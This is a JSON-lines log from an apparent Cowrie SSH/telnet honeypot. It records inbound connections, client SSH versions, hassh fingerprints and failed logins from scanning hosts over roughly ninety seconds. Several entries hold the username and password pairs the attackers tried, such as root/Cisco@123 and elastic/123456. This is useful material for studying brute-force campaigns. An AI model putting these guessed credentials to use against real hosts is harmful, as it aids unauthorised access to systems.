{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:10.357233Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:10.362278Z","src_ip":"181.188.176.242","session":"4543b401b953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:10.959417Z","src_ip":"45.78.204.254","session":"995709458850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34076,"dst_ip":"159.203.135.109","dst_port":23,"session":"7525f5f93a2d","protocol":"telnet","message":"New connection: 128.199.8.54:34076 (159.203.135.109:23) [session: 7525f5f93a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:13.283194Z"}
{"eventid":"cowrie.login.failed","username":"share","password":"share@123","message":"login attempt [share/share@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:13.535049Z","src_ip":"45.78.204.254","session":"995709458850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:15.323404Z","src_ip":"45.78.204.254","session":"995709458850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":51952,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e183bcda8ba","protocol":"ssh","message":"New connection: 103.82.20.28:51952 (159.203.135.109:22) [session: 8e183bcda8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:18.682148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:18.689533Z","src_ip":"103.82.20.28","session":"8e183bcda8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:18.949839Z","src_ip":"103.82.20.28","session":"8e183bcda8ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"271082","message":"login attempt [root/271082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:19.737043Z","src_ip":"103.82.20.28","session":"8e183bcda8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":57696,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec703ca862af","protocol":"ssh","message":"New connection: 152.32.214.226:57696 (159.203.135.109:22) [session: ec703ca862af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:20.798475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:20.804562Z","src_ip":"152.32.214.226","session":"ec703ca862af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:20.999735Z","src_ip":"103.82.20.28","session":"8e183bcda8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:21.022631Z","src_ip":"152.32.214.226","session":"ec703ca862af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxsw12","message":"login attempt [root/Qazxsw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:21.931468Z","src_ip":"152.32.214.226","session":"ec703ca862af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:23.153677Z","src_ip":"152.32.214.226","session":"ec703ca862af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":51364,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc1574455fd8","protocol":"ssh","message":"New connection: 14.63.196.175:51364 (159.203.135.109:22) [session: bc1574455fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:55.868319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:55.873613Z","src_ip":"14.63.196.175","session":"bc1574455fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:56.076427Z","src_ip":"14.63.196.175","session":"bc1574455fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.826786279678345,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:56.109856Z","src_ip":"128.199.8.54","session":"7525f5f93a2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cisco@123","message":"login attempt [root/Cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:56.908403Z","src_ip":"14.63.196.175","session":"bc1574455fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:58.113397Z","src_ip":"14.63.196.175","session":"bc1574455fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5842,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f0ee4f709b","protocol":"ssh","message":"New connection: 196.188.93.169:5842 (10.17.0.5:22) [session: 36f0ee4f709b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:13.255085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:13.265751Z","src_ip":"196.188.93.169","session":"36f0ee4f709b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:13.433671Z","src_ip":"196.188.93.169","session":"36f0ee4f709b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!1fw@2soc#3vpn","message":"login attempt [root/!1fw@2soc#3vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:14.135071Z","src_ip":"196.188.93.169","session":"36f0ee4f709b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:15.306914Z","src_ip":"196.188.93.169","session":"36f0ee4f709b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43194,"dst_ip":"159.203.135.109","dst_port":23,"session":"4358feb292e1","protocol":"telnet","message":"New connection: 172.81.62.90:43194 (159.203.135.109:23) [session: 4358feb292e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:23.159259Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43204,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d42cbfd8d84","protocol":"telnet","message":"New connection: 172.81.62.90:43204 (159.203.135.109:23) [session: 4d42cbfd8d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:23.170552Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":6764,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfa87631d50","protocol":"ssh","message":"New connection: 36.92.41.115:6764 (10.17.0.5:22) [session: 7cfa87631d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:26.060666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:26.065459Z","src_ip":"36.92.41.115","session":"7cfa87631d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:26.328453Z","src_ip":"36.92.41.115","session":"7cfa87631d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:27.404951Z","src_ip":"36.92.41.115","session":"7cfa87631d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:28.669128Z","src_ip":"36.92.41.115","session":"7cfa87631d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59842,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9218130ca3","protocol":"telnet","message":"New connection: 172.81.62.90:59842 (159.203.135.109:23) [session: 6d9218130ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:32.313105Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25589ae2b60","protocol":"telnet","message":"New connection: 172.81.62.90:43214 (159.203.135.109:23) [session: c25589ae2b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:32.340726Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42304,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d566d75eb68","protocol":"telnet","message":"New connection: 172.81.62.90:42304 (159.203.135.109:23) [session: 0d566d75eb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:37.472798Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":14238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d14ee4d7fab6","protocol":"ssh","message":"New connection: 177.85.247.230:14238 (10.17.0.5:22) [session: d14ee4d7fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:45.323295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:45.328931Z","src_ip":"177.85.247.230","session":"d14ee4d7fab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:45.432222Z","src_ip":"177.85.247.230","session":"d14ee4d7fab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456@","message":"login attempt [root/abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:45.881784Z","src_ip":"177.85.247.230","session":"d14ee4d7fab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:46.988591Z","src_ip":"177.85.247.230","session":"d14ee4d7fab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.251","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9597d8c9fbd","protocol":"telnet","message":"New connection: 176.65.148.251:38470 (159.203.135.109:23) [session: f9597d8c9fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:47.997342Z"}
{"eventid":"cowrie.session.closed","duration":0.005583763122558594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:48.002764Z","src_ip":"176.65.148.251","session":"f9597d8c9fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.251","src_port":38480,"dst_ip":"159.203.135.109","dst_port":23,"session":"e68703eed56a","protocol":"telnet","message":"New connection: 176.65.148.251:38480 (159.203.135.109:23) [session: e68703eed56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:48.079954Z"}
{"eventid":"cowrie.login.failed","username":"qbf77101","password":"hexakisoctahedron","message":"login attempt [qbf77101/hexakisoctahedron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:49.881153Z","src_ip":"176.65.148.251","session":"e68703eed56a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":32930,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0b9f0d01b4","protocol":"ssh","message":"New connection: 163.7.9.84:32930 (10.17.0.5:22) [session: fa0b9f0d01b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:50.457371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:37:50.460462Z","src_ip":"163.7.9.84","session":"fa0b9f0d01b4","protocol":"ssh"}
